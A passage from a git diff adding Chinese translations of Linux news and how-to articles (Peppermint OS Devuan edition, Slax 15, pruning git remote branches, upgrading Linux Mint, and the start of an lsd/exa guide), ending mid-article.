"https://news.itsfoss.com/peppermint-os-devuan/" +[#]: author: "Sagar Sharma https://news.itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14906-1.html" + +Peppermint OS 现在也提供无 systemd 的 Devuan 变体了! +====== + +> 基于 Devuan 的 Peppermint OS 可能是无 systemd 发行版中一个令人振奋的新成员。听起来不错吧? + +![peppermint][1] + +作为 [最轻量级和最灵活的 Linux 发行版之一][2],Peppermint OS 现在提供一个基于 Devuan 的 ISO,可以让高级用户对他们的系统有更多的控制。 + +随着他们发布了 Peppermint OS 11,[他们放弃使用 Ubuntu][3] 作为基础,而使用 Debian,使 Peppermint OS 更加稳定和可靠。 + +### 基于 Devuan 的 Peppermint OS + +![Peppermint OS devuan][4] + +那么,首先 Devuan 是什么? + +Devuan 是 Debian 的一个分叉,没有 systemd,所以用户可以拥有移植性和选择的自由。 + +是否使用 systemd 经常发生争论,这就是为什么我们有一个 [无 systemd 的 Linux 发行版][5] 的列表,但只有少数几个可以提供开箱即用的精良体验。 + +现在,基于 Devuan 的 Peppermint OS 版本应该是这个列表中令人振奋的补充。 + +如果你想要一个无 systemd 的发行版,给你的操作系统更多的自由,这应该是一个不错的尝试。 + +别担心,Peppermint OS 的 Debian 版将会继续存在。所以,你可以期待基于 Devuan 和基于 Debian 的 ISO 都可以使用。 + +### 你需要无 systemd 发行版吗? + +systemd 是一个初始化系统。当你启动你的 Linux 机器时,初始化系统是最先启动的程序之一,并将一直运行到你使用电脑为止。 + +但 [systemd 不仅仅是一个初始系统][6],它还包含其他软件,如 logind、networkd 等,用于管理 Linux 系统的不同方面。 + +总的来说,它演变成了一个复杂的初始模块。虽然它使许多事情变得简单,但在一些用户看来,它是一个臃肿的解决方案。 + +因此,有用户开始喜欢 Devuan 这样的选项。而且,Peppermint OS 的开发者现在正试图通过使用 Devuan 作为另一个版本的基础,来改善桌面用户的体验。 + +### 下载基于 Devuan 的 Peppermint OS + +对于习惯于无 systemd 的用户来说,这是一个很好的选择。 + +但是,如果你从来没有尝试过无 systemd 的发行版,除非你知道自己在做什么,否则进行切换可能不是一个明智的主意。 + +> **[Peppermint OS (Devuan)][7]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/peppermint-os-devuan/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/08/peppermint-devuan.jpg +[2]: https://itsfoss.com/lightweight-linux-beginners/ +[3]: https://news.itsfoss.com/peppermint-11-release/ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/08/Peppermint-OS-Devuan-edition.png +[5]: https://itsfoss.com/systemd-free-distros/#systemd-or-not +[6]: https://freedesktop.org/wiki/Software/systemd/ +[7]: https://peppermintos.com/2022/08/peppermint-os-releases-for-08-02-2022/ diff --git a/published/202208/20220804 Slax Linux Re-Introduces a Slackware Variant With Slax 15 Release.md b/published/202208/20220804 Slax Linux Re-Introduces a Slackware Variant With Slax 15 Release.md new file mode 100644 index 0000000000..491d1d0b2c --- /dev/null +++ b/published/202208/20220804 Slax Linux Re-Introduces a Slackware Variant With Slax 15 Release.md @@ -0,0 +1,72 @@ +[#]: subject: "Slax Linux Re-Introduces a Slackware Variant With Slax 15 Release" +[#]: via: "https://news.itsfoss.com/slax-15-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14900-1.html" + +Slax Linux 的 Slackware 变体重新复活 +====== + +> 基于 Slackware 的 Slax 版本在 Slackware 15.0 的基础上进行了升级,并带来一些基本的改进。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/08/slax-15.jpg) + +Slax 是最有趣的 [轻量级 Linux 发行版][1] 之一。 + +它是基于 Slackware 的,是 32 位系统的一个合适选择。如果你尚不知道,Slackware 是最古老的、活跃的 Linux 发行版,并在 6 年后见证了一次重大版本升级,即 [Slackware 15][2] 的发布。 + +此外,Slax 还提供了一个基于 Debian 的替代版本,该版本正在积极维护。正如创作者在博文中提到的,这是由于基于 Slackware 的版本(Slax 14)在很长一段时间内(9 年)没有得到更新。 + +因此,看到最终以 **Slax 15.0** 的形式发布了重大升级版本,以及也对其 Debian 版本(即 **Slax 11.4.0**)进行小幅更新,还是令人感动。 + +有趣的是,这个版本早在 2022 年 7 月就向其支持者提供了。而现在,所有人都可以下载和试用了。 + +让我来介绍一下新的变化。 + +### Slax 15.0 和 Slax 11.4 发布 + +为了解决关键的升级问题,Slax 15.0 带来了 Slackware 15.0 中添加的改进。 + +这应该包括增加了 [Linux 内核 5.15 LTS][3],即增强的 NTFS 驱动支持,以及对英特尔/AMD 处理器的支持改进。你可以看看这个内核变体,提供了更多内置驱动程序,或者了解一下节省内存和启动时警告的通用选项。 + +该个发布版本通过插件支持 slackpkg,这意味着你可以从各种软件库中安装软件,包括官方的 Slackware 仓库和 SlackOnly 仓库。 + +Slax 15.0 还涉及到一个更新的关机程序,对设备的卸载处理更加完善。 + +考虑到 Slax 不再是一个基于 KDE 的发行版。因此,当你下载 Slackware 或 Debian 版本的 ISO 时,你得到的是一个基于 Fluxbox 的版本。 + +而对于 Debian 版本,你会发现它的更新是基于 **Debian 11.4** “Bullseye” 的。 + +### 下载 Slax 15.0 和 Slax 11.4 + +你无法找到基于 Slackware 的版本的 32 位版本,而只能找到基于 Debian 的。 + +其 ISO 文件可以在其官方网站上下载。如果你想以某种方式支持该项目,也可以选择购买。 + +> **[Slax 15.0][4]** + +无论哪种情况,你都可以前往其 [Patreon 页面][5] 以示支持。 + +你对 Slax 15.0 的发布有什么看法?你试过了吗? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/slax-15-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/lightweight-linux-beginners/ +[2]: https://news.itsfoss.com/slackware-15-release/ +[3]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[4]: https://www.slax.org/ +[5]: https://patreon.com/slax/ diff --git a/published/202208/20220805 Delete the local reference to a remote branch in Git.md b/published/202208/20220805 Delete the local reference to a remote branch in Git.md new file mode 100644 index 0000000000..afa9dc3749 --- /dev/null +++ b/published/202208/20220805 Delete the local reference to a remote branch in Git.md @@ -0,0 +1,98 @@ +[#]: subject: "Delete the local reference to a remote branch in Git" +[#]: via: "https://opensource.com/article/22/8/delete-local-reference-remote-branch-git" +[#]: author: "Agil Antony https://opensource.com/users/agantony" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14919-1.html" + +删除 Git 远程分支的本地引用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/11/150612dv5diwgve5k2cobk.jpg) + +> 遵循几个简单的步骤来保持 Git 仓库的整洁 + +在合并一个 GibLab 的合并请求(MR)或 GitHub 的拉取请求(PR)后,你通常需要从远程仓库中删掉这个主题分支来保持仓库的整洁。然而,这只会删掉远程仓库的主题分支。本地 Git 仓库也会从例行清理中收益。 + +要同步本地仓库和远程仓库的信息,可以执行 `git prune` 命令来删除本地仓库中远程分支的本地引用。 + +按照以下三个简单的步骤: + +1、检出仓库中的核心分支(比如 `main` 或者 `master`): + +``` +$ git checkout +``` + +2、列出所有远程和本地分支: + +``` +$ git branch -a +``` + +示例输出: + +``` +4.10.z +* master +  remotes/mydata/4.9-stage +  remotes/mydata/4.9.z +  remotes/mydata/test-branch +``` + +在这个例子中,`test-branch` 是从远程仓库中删除的主题分支的名字。 + +3、删除远程分支的本地引用: + +首先,列出所有可以从本地仓库中删除的分支: + +``` +$ git remote prune origin --dry-run +``` + +示例输出: + +``` +Pruning origin +URL: git@example.com:myorg/mydata-4.10.git +* [would prune] origin/test-branch +``` + +然后,删除远程分支的本地引用: + +``` +$ git remote prune origin +``` + +示例输出: + +``` +Pruning origin +URL: git@example.com:myorg/mydata-4.10.git +* [pruned] origin/test-branch +``` + +就是这样! + +### 维护 Git 仓库 + +保持 Git 仓库的整洁,一开始似乎并不紧急,但是随着仓库规模的增长,删除不必要的数据就变得更为重要。不要让从无用的数据筛选而拖慢你。 + +经常删除远程分支的本地引用,是维护一个可用的 Git 仓库是一个好方法。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/delete-local-reference-remote-branch-git + +作者:[Agil Antony][a] +选题:[lkxed][b] +译者:[Yufei-Yan](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/agantony +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/freesoftwareway_law3.png diff --git a/published/202208/20220807 How to Upgrade to Linux Mint 21 [Step by Step Tutorial].md b/published/202208/20220807 How to Upgrade to Linux Mint 21 [Step by Step Tutorial].md new file mode 100644 index 0000000000..0ebaeca551 --- /dev/null +++ b/published/202208/20220807 How to Upgrade to Linux Mint 21 [Step by Step Tutorial].md @@ -0,0 +1,410 @@ +[#]: subject: "How to Upgrade to Linux Mint 21 [Step by Step Tutorial]" +[#]: via: "https://itsfoss.com/upgrade-linux-mint-version/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14975-1.html" + +图解如何升级到 Linux Mint 21 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/28/172913lzqsmfll8snzblbs.jpg) + +> 这是一个周期性的更新指南,主要用于将现有的 Linux Mint 升级安装到一个新的可用版本。 + +在这篇文章中有三个部分,分别向你展示 Linux Mint 的不同的主要版本之间的升级步骤: + +* 第 1 部分是关于从 Linux Mint 20.3 升级到 Linux Mint 21(GUI 升级工具) +* 第 2 部分是关于从 Linux Mint 19.3 升级到 Linux Mint 20(基于命令行的升级程序) +* 第 3 部分是关于从 Linux Mint 18.3 升级到 Linux Mint 19(假设一些人仍然在使用它) + +你可以依据你的当前的 Linux Mint 版本和需要来执行适当的步骤。 + +这是一个周期性的更新指南,主要用于将现有的 Linux Mint 升级安装到一个新的可用版本。 + +这篇指南已经更新,追加从 Mint 20.3 升级到 Linux Mint 21 的步骤。Linux Mint 现在有一个 GUI 工具来升级到最新的版本。 + +### 在你升级到 Linux Mint 21 之前需要知道的事情 + +在你继续升级到 Linux Mint 21 之前,你应该考虑下面的事情: + +* 你真的需要升级吗?Linux Mint 20.x 还有好几年的支持期限。 +* 你将需要高速互联网连接来下载大约 14 GB 的升级数据。 +* 它可能将花费几个小时的时间来完成升级过程,当然这主要取决于你的互联网速度。你必须有耐心。 +* 制作一个 Linux Mint 21 的 实况 USBLive USB 并在一次实况会话Live session 中尝试它是否与你的硬件系统兼容会是一个好主意。较新的内核可能与较旧的硬件系统有兼容性问题,因此在真正升级或安装之前来对其进行测试可能会为你省去很多麻烦。 +* 全新的安装总是比主要版本升级的更好,但是从零开始安装 Linux Mint 21 可能意味着丢失你的现有的数据。你必须在外部的外部磁盘上进行备份。 +* 尽管大部分的升级是安全的,但是它也不会是 100% 的成功。你必须要有系统快照和真正的备份。 +* 你只能从 Linux Mint 20.3 的 Cinnamon 、Xfce 和 MATE 版本升级到 Linux Mint 21 。首先 [检查你的 Linux Mint 版本][1] 。如果你正在使用 Linux Mint 20.2 或 20.1 ,你需要先使用更新管理器来升级到 20.3 。如果你正在使用 Linux Mint 19 ,我建议你选择进行一次的全新安装,而不是选择进行数次的升级 Mint 版本。 + +在你知道你将要做什么后,让我们看看如何升级到 Linux Mint 21 。 + +### 从 Linux Mint 20.3 升级到 Linux Mint 21 + +检查你的 Linux Mint 版本,并确保你正在使用 Mint 20.3 。你不能从 Linux Mint 20.1 或 20.2 升级到 Linux Mint 21 。 + +#### 步骤 1: 通过安装任意可用的更新来更新你的系统 + +使用 菜单Menu -> 系统管理Administration -> 更新管理器Update Manager 来启动更新管理器。查看是否有一些可用的软件包更新。如果有可用的更新,先安装所有的软件包更新。 + +![Check for Pending Software Updates][2] + +针对这一步骤,你也可用在终端中使用这一个命令: + +``` +sudo apt update && sudo apt upgrade -y +``` + +#### 步骤 2: 在外部的磁盘上备份你的文件 [可选,但是建议] + +Timeshift 是一个创建系统快照的好工具,但它却不是一个针对文档、图片和其它那些非系统的、个人文件的理想工具。我建议你在一块外部磁盘上进行备份。它只是为了数据安全。 + +当我说在一块外部磁盘上进行一次备份时,我的意思是将你的图片、文档、下载和视频目录简单地复制和粘贴到一块外部的 USB 磁盘上。 + +如果你没有那样大的磁盘,至少复制那些你不可丢失的最重要的文件。 + +#### 步骤 3: 安装升级工具 + +现在,你的系统已经更新,你已经准备好升级到 Linux Mint 21 。Linux Mint 开发组提供一个名称为 [mintupgrade][3] 的 GUI 工具,用于从 Linux Mint 20.3 升级到 Linux Mint 21 。 + +你可用使用下面的命令来安装这个工具: + +``` +sudo apt install mintupgrade +``` + +#### 步骤 4: 从终端中运行这个 GUI 工具 + +你不能在应用程序菜单列表中找到这个新的 GUI 工具。为启动它,你需要在终端中输入下面的命令: + +``` +sudo mintupgrade +``` + +这个简单且全面工具将带领你完成升级过程。 + +![Mint Upgrade Tool Home Page][4] + +在一些初始化的测试后,它将提示进行一次 Timeshift 备份。如果你已经创建了一次备份,你已经准备好下一步了。 + +![Upgrade Tool Prompting No Timeshift Snapshots][5] + +否则,你需要在这里 [创建一个备份][6] ,因为这是强制继续的。 + +![Taking Snapshot With Timeshift][7] + +一些 PPA 可能已经适用于 Ubuntu 22.04 ,因此也适用于 Mint 21 。但是,如果 PPA 或存储库不适用于新的版本,它可能会因为依赖关系的打断而影响升级过程。在升级工具中也会同样的提示你。 + +![Kazam PPA Does Not Support Jammy][8] + +在这里,我将通过 Kazam 其 PPA 来使用其 [最新版本][9] 。其 PPA 仅被支持到 Impish ,因为 Linux Mint 21 是基于 Jammy 的,所以它会显示错误。 + +你可以在升级工具中通过软件源来指定禁用 PPA 的选项。 + +![Disable Unsupported PPAs in Software Sources][10] + +在禁用该 PPA 后,该软件包会变成 “陌生的foreign”,因为来自存储库中可用版本会与来自 Mnit 存储库中可用版本不匹配。因此,你需要将软件包降级到存储库中一个可用的版本。 + +![Downgrade Package to Avoid Conflicts][11] + +升级工具现在列出需要执行更改。 + +![List Changes That Need to be Done][12] + +在接受后,该工具将开始下载软件包。 + +![Phase 2 – Simulation and Package Download][13] + +![Package Downloading][14] + +![Upgrading Phase][15] + +它将列出孤立的软件包,这可以被移除。你可以通过按下 修复Fix 按钮来移除整个建议的软件包,也可以保留某些软件包。 + +#### 保留某些孤立的软件包 + +为保留来自孤立的软件包列表中软件包,你需要从左上角的汉堡菜单转到 首选项Preferences。 + +![Selecting Orphan Packages You Want to Keep with Preferences][16] + +在首选项对话框中,你需要转到 “孤立的软件包Orphan Packages” 并使用 “+” 符号来通过名称添加软件包。 + +![Specify Name of the Package to Keep][17] + +在完成后,它将继续升级,在一段时间后,将会向你提示一条成功更新的通知。 + +![Upgrade Successful][18] + +此时,你需要重新启动你的系统。在重新启动后,你将进入到新的 Linux Mint 21 。 + +![Neofetch Output Linux Mint 21][19] + +### 如何升级到 Linux Mint 20 + +在你继续升级到 Linux Mint 20 之前,你应该考虑下面的事情: + +* 你真的需要升级吗?Linux Mint 19.x 将会支持到 2023 年。 +* 如果你 [有一款 32 位系统][20],你不能安装或升级到 Mint 20 。 +* 你将需要高速互联网连接来下载大约 1.4 GB 的升级。 +* 它可能将花费几个小时的时间来完成升级过程,当然这主要取决于你的互联网速度。你必须有耐心。 +* 制作一个 Linux Mint 20 的 实况 USBLive USB 并在一次实况会话中查看它是否与你的硬件系统兼容会是一个好主意。较新的内核可能与较旧的硬件系统有兼容性问题,因此在真正升级或安装之前来对其进行测试可能会为你省去很多麻烦。 +* 全新的安装总是比主要版本升级的更好,但是从零开始 [安装 Linux Mint][21] 20 可能意味着丢失你的现有的数据。你必须在外部的外部磁盘上进行备份。 +* 尽管大部分的升级是安全的,但是它也不会是 100% 的成功。你必须要有系统快照和真正的备份。 +* 你只能从 Linux Mint 19.3 的 Cinnamon 、Xfce 和 MATE 版本升级到 Linux Mint 20 。首先 [检查你的 Linux Mint 版本][22] 。如果你正在使用 Linux Mint 19.2 或 19.1 ,你需要先使用更新管理器来升级到 19.3 。如果你正在使用 Linux Mint 18 ,我建议你选择进行一次的全新安装,而不是选择进行数次的升级 Mint 版本。 +* 升级过程是通过命令行实用程序来完成的。如果你不喜欢使用终端和命令,不要升级,并进行一次全新的安装。 + +在你知道你将要做什么后,让我们看看如何升级到 Linux Mint 20 。 + +#### 步骤 1: 确保你有一款 64 位系统 + +Linux Mint 20 是一款仅提供 64 位的操作系统。如果你安装了一款 32 位的 Linux Mint 19 ,你不能升级到 Linux Mint 20 。 + +在一个终端中,使用下面的命令来查看你是否正在使用 64 位操作系统。 + +``` +dpkg --print-architecture +``` + +![Mint 20 Upgrade Check Architecture][25] + +#### 步骤 2: 通过安装一些可用的更新来更新你的系统 + +使用 菜单Menu -> 系统管理Administration -> 更新管理器Update Manager 来启动更新管理器。查看是否有一些可用的软件包更新。如果有可用的更新,先安装所有的软件包更新。 + +![Check for pending software updates][26] + +针对这一步骤,你也可用在终端中使用这一个命令: + +``` +sudo apt update && sudo apt upgrade -y +``` + +#### 步骤 3: 使用 Timeshift 创建一个系统快照 [可选,但是建议] + +如果你遇到升级过程中断或你遇到其它的一些重大问题,[使用 Timeshift 创建一个系统快照][27] 将会解救你于水火之中。**你甚至可以使用这种方法恢复到 Mint 19.3 。** + +假设你因为意外断电导致升级失败,或因为其它一些原因,你最终得到一个残缺的不稳定的 Linux Mint 19 。你可以插入一个 Linux Mint 实况 USB ,并从该实况环境中运行 Timeshift 。它将会自动地定位你的备份位置,并将允许你恢复你残缺的 Mint 19 系统。 + +这也意味着你应该随时携带一个 Linux Mint 19 实况 USB ,以防在极少数升级失败的情况下,你不能用一台工作的计算机创建 Linux Mint 实况 USB 。 + +![Create a system snapshot in Linux Mint][28] + +#### 步骤 4: 在一块外部的磁盘上备份你的文件 [可选,但是建议] + +Timeshift 是一个创建系统快照的好工具,但它却不是一个针对文档、图片和其它那些非系统、个人文件的理想工具。我建议你在一块外部磁盘上进行备份。它只是为了数据安全。 + +当我说在一块外部磁盘上进行一次备份时,我的意思是将你的图片、文档、下载和视频目录简单地复制和粘贴到一块外部的 USB 磁盘上。 + +如果你没有那样大的磁盘,至少复制那些你不可丢失的最重要的文件。 + +#### 步骤 5: 禁用 PPA 和第三方存储库 [可选,但是建议] + +不出意外的话,你可能已经使用一些 [PPA][29] 或其它的存储库来安装了一下应用程序。 + +一些 PPA 可能已经适用于 Ubuntu 20.04 ,因此也适用于 Mint 20 。但是,如果 PPA 或存储库不适用于新的版本,它可能会因为依赖关系的打断而影响升级过程。 + +对此,建议你禁用 PPA 和第三方存储库。你也可以删除通过这样的外部源安装的应用程序,如果你这样做的话,不会导致配置数据的丢失。 + +在 软件源Software Sources 工具中,禁用附加的存储库、禁用 PPA 。 + +![Disable Ppa Mint Upgrade][30] + +你也可以在维护标签页中 **降级** ,**移除可用的外部的软件包** 。 + +例如,我使用一个 PPA 来安装 Shutter 。我在禁用它的 PPA 后,现在该软件包会变成 “陌生的foreign”,因为来自存储库中可用版本会与来自 Mnit 存储库中可用版本不匹配。 + +![Foreign Package Linux Mint][31] + +#### 步骤 6: 安装升级工具 + +现在,你的系统已经更新,你已经准备好升级到 Linux Mint 20 。Linux Mint 开发团队提供一个名称为 [mintupgrade][32] 的命令行工具,其唯一的目的是将 Linux Mint 19.3 升级到 Linux Mint 20 。 + +你可用使用下面的命令来安装这个工具: + +``` +sudo apt install mintupgrade +``` + +#### 步骤 7: 运行一次升级设备健康检查 + +`mintupgrade` 工具将会让你通过模拟升级的初始化部分来运行一次设备健康检查。 + +你可以运行这次检查来查看对你的系统做出何种更改,哪些软件包将会升级。它也将会显示不能升级和必须移除的软件包。 + +``` +mintupgrade check +``` + +在这里,它不会在你的系统上做出任何真正的更改(即使感觉上它正在进行做一些更改)。 + +这一步骤是非常重要的,有助于准确评估出你的系统是否可以升级到 Mint 20 。 + +![Mint Upgrade Check][33] + +如果这一步骤中途失败,输入 `mintupgrade restore-sources` 来返回到你原始的 APT 配置。 + +#### 步骤 8: 下载软件包升级 + +在你对 `mintupgrade`` 的检查输出感到满意后,你可以下载 Mint 20 升级软件包。 + +取决于你的互联网连接速度,它可能会在下载这些升级方面消耗一些时间。确保你的硬件系统接通到强电电源。 + +在软件包的下载期间,你可以继续使用你的系统进行常规工作。 + +``` +mintupgrade download +``` + +![Mint 20 Upgrade Download][34] + +注意,这行命令将把你的操作系统指向 Linux Mint 20 存储库。在使用这行命令后,如果你想降级到 Linux Mint 19.3 ,你仍然可以使用命令 `mintupgrade restore-sources` 来做到。 + +#### 步骤 9: 安装升级 [不可回退] + +现在,万事俱备,你可以使用这行命令来升级到 Linux Mint 20 : + +``` +mintupgrade upgrade +``` + +给它一些时间来安装新的软件包和升级你的 Mint 到相对较新的版本。在升级过程完成后,它将要求你重新启动。 + +![Linux Mint 20 Upgrade Finish][35] + +#### 享受 Linux Mint 20 + +在你重新启动你的系统后,你将看到 Mint 20 欢迎屏幕。享受新的版本。 + +![Welcome To Linux Mint 20][36] + +### 从 Mint 18 升级到 Mint 19 + +从 Linux Mint 18.3 升级到 Linux Mint 19 的步骤与你在升级到 Linux Mint 20 中所看到的步骤非常类似。唯一的变化是检查显示管理器。 + +我将在这里快速地提及这些步骤。如果你想要更多的信息,你可以参考 Mint 20 升级过程。 + +**步骤 1:** 使用 Timeshift 创建一个系统快照 [可选,但是建议] + +**步骤 2:** 在一块外部的磁盘上备份你的文件 [可选,但是建议] + +**步骤 3:** 确保你正在使用 LightDM + +对于 Mint 19 ,你必须使用 [LightDM 显示管理器][37] 。为检查你正在使用哪种显示管理器,输入命令: + +``` +cat /etc/X11/default-display-manager +``` + +如果结果是 `/usr/sbin/lightdm`,那么你就有 LightDM ,你就可以继续前进了。 + +![LightDM Display Manager in Linux Mint][38] + +在另一个方面,如果结果是 `/usr/sbin/mdm`,你需要安装 LightDM ,[切换到 LightDM][39] 并移除 MDM 。使用这行命令来安装 LightDM : + +``` +apt install lightdm lightdm-settings slick-greeter +``` + +在安装期间,它将要求你选择显示管理器。你需要选择 LightDM 。 + +在你设置 LightDM 作为你的显示管理器后,使用下面这些命令来移除 MDM 并重新启动: + +``` +apt remove --purge mdm mint-mdm-themes* +sudo dpkg-reconfigure lightdm +sudo reboot +``` + +**步骤 4: 通过安装一些可用的更新来更新你的系统** + +``` +sudo apt update && sudo apt upgrade -y +``` + +**步骤 5: 安装升级工具** + +``` +sudo apt install mintupgrade +``` + +**步骤 6: 检查升级** + +``` +mintupgrade check +``` + +**步骤 7: 下载软件包升级** + +``` +mintupgrade download +``` + +**步骤 8: 应用升级** + +``` +mintupgrade upgrade +``` + +享受 Linux Mint 19 。 + +### 你升级到 Linux Mint 21 了吗? + +升级到 Linux Mint 20 可能不会是一种友好的体验,但是,使用新的专用 GUI 升级工具来升级到 Mint 21 变得简单多了。 + +我希望你发现这篇教程有帮助。你是选择升级到 Linux Mint 21 ?还是现在一次全新的安装? + +如果你遇到一些重要问题,或者你有一些关于升级过程的问题,请在评论区随时询问。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/upgrade-linux-mint-version/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/check-linux-mint-version/ +[2]: https://itsfoss.com/wp-content/uploads/2022/08/check-for-pending-software-updates.png +[3]: https://github.com/linuxmint/mintupgrade/blob/master/usr/bin/mintupgrade +[4]: https://itsfoss.com/wp-content/uploads/2022/08/mint-upgrade-tool-home-page.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/upgrade-tool-prompting-no-timeshift-snapshots.png +[6]: https://itsfoss.com/backup-restore-linux-timeshift/ +[7]: https://itsfoss.com/wp-content/uploads/2022/08/taking-snapshot-with-timeshift.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/kazam-ppa-does-not-support-jammy.png +[9]: https://itsfoss.com/kazam-screen-recorder/ +[10]: https://itsfoss.com/wp-content/uploads/2022/08/disable-unsupported-ppas-in-software-sources.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/downgrade-package-to-avoid-conflicts.png +[12]: https://itsfoss.com/wp-content/uploads/2022/08/list-changes-that-need-to-be-done.png +[13]: https://itsfoss.com/wp-content/uploads/2022/08/phase-2-simulation-and-package-download-.png +[14]: https://itsfoss.com/wp-content/uploads/2022/08/package-downloading.png +[15]: https://itsfoss.com/wp-content/uploads/2022/08/upgrading-phase.png +[16]: https://itsfoss.com/wp-content/uploads/2022/08/selecting-orphan-packages-you-want-to-keep-with-preferences.png +[17]: https://itsfoss.com/wp-content/uploads/2022/08/specify-name-of-the-package-to-keep.png +[18]: https://itsfoss.com/wp-content/uploads/2022/08/upgrade-successful-800x494.png +[19]: https://itsfoss.com/wp-content/uploads/2022/08/neofetch-output-linux-mint-21.png +[20]: https://itsfoss.com/32-bit-64-bit-ubuntu/ +[21]: https://itsfoss.com/guide-install-linux-mint-16-dual-boot-windows/ +[22]: https://itsfoss.com/check-linux-mint-version/ +[23]: https://youtu.be/LYnXEaiAjsk +[24]: https://www.youtube.com/c/itsfoss?sub_confirmation=1 +[25]: https://itsfoss.com/wp-content/uploads/2020/07/mint-20-upgrade-check-architecture.jpg +[26]: https://itsfoss.com/wp-content/uploads/2020/07/update-manager-linux-mint.jpg +[27]: https://itsfoss.com/backup-restore-linux-timeshift/ +[28]: https://itsfoss.com/wp-content/uploads/2018/07/snapshot-linux-mint-timeshift.jpeg +[29]: https://itsfoss.com/ppa-guide/ +[30]: https://itsfoss.com/wp-content/uploads/2020/07/disable-ppa-mint-upgrade.jpg +[31]: https://itsfoss.com/wp-content/uploads/2020/07/foreign-package-linux-mint.jpg +[32]: https://github.com/linuxmint/mintupgrade/blob/master/usr/bin/mintupgrade +[33]: https://itsfoss.com/wp-content/uploads/2020/07/mint-upgrade-check.jpg +[34]: https://itsfoss.com/wp-content/uploads/2020/07/mint-upgrade-download.jpg +[35]: https://itsfoss.com/wp-content/uploads/2020/07/linux-mint-20-upgrade-finish.jpg +[36]: https://itsfoss.com/wp-content/uploads/2020/07/welcome-to-linux-mint-20.jpg +[37]: https://wiki.archlinux.org/index.php/LightDM +[38]: https://itsfoss.com/wp-content/uploads/2018/07/lightdm-linux-mint.jpeg +[39]: https://itsfoss.com/switch-gdm-and-lightdm-in-ubuntu-14-04/ diff --git a/published/202208/20220807 List Files and Directories in Style Using lsd and exa.md b/published/202208/20220807 List Files and Directories in Style Using lsd and exa.md new file mode 100644 index 0000000000..717d784a85 --- /dev/null +++ b/published/202208/20220807 List Files and Directories in Style Using lsd and exa.md @@ -0,0 +1,157 @@ +[#]: subject: "List Files and Directories in Style Using lsd and exa" +[#]: via: "https://www.debugpoint.com/list-files-directories-style/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14923-1.html" + +重新想象和设计你的文件和目录列表 +====== + +> 使用两个 ls 程序: lsd 和 exa 来重新想象和设计你的文件和目录列表。 + +![][0] + +Linux 中的 `ls` 命令是最常用的命令。此命令列出终端中的文件和目录。因此,如你所见,它非常流行,也许每个人都在使用。 + +但该命令输出的信息量很大,有时用彩色的方式查看它们会更方便。 + +例如,如果你以最基本的方式运行 `ls` 命令,它应该看起来有点像这样: + +![The default list files and directories view via ls command][1] + +这似乎有点乏味,不是吗?如果你可以对其进行一些样式设置,以便在看起来不错的同时变得更具可读性如何? + +### 以样式列出文件和目录 + +#### lsd + +我想向你展示的第一个应用叫做 `lsd`,也就是 “LSDeluxe” 的缩写。它是对 GNU `ls` 命令的重写,具有列标题、各种项目的颜色、字体和图标支持等附加功能。 + +这是安装后的样子: + +``` +lsd -l --header +``` + +![lsd command showing list of files][2] + +正如你所看到的,它看起来非常漂亮,用不同的颜色代码表示权限、文件类型和文件夹,甚至在文件名旁边添加图标。 + +该应用充满了诸如树视图(见下文)之类的功能,它甚至可以在单个命令中为你提供文件夹内的文件列表: + +``` +lsd -l --header --tree +``` + +![lsd command showing a tree view][3] + +你可以在其 [官方 GitHub 页面][4] 上了解有关其功能的更多信息。 + +我相信你很兴奋。让我们看看如何安装它。 + +你可以从 [此处下载][11] 用于 Ubuntu 和相关发行版的 deb 文件。之后,只需运行 `dpkg` 即可安装: + +``` +sudo dpkg -i lsd_vvvv_amd64.deb +``` + +对于 Fedora Linux,使用以下命令: + 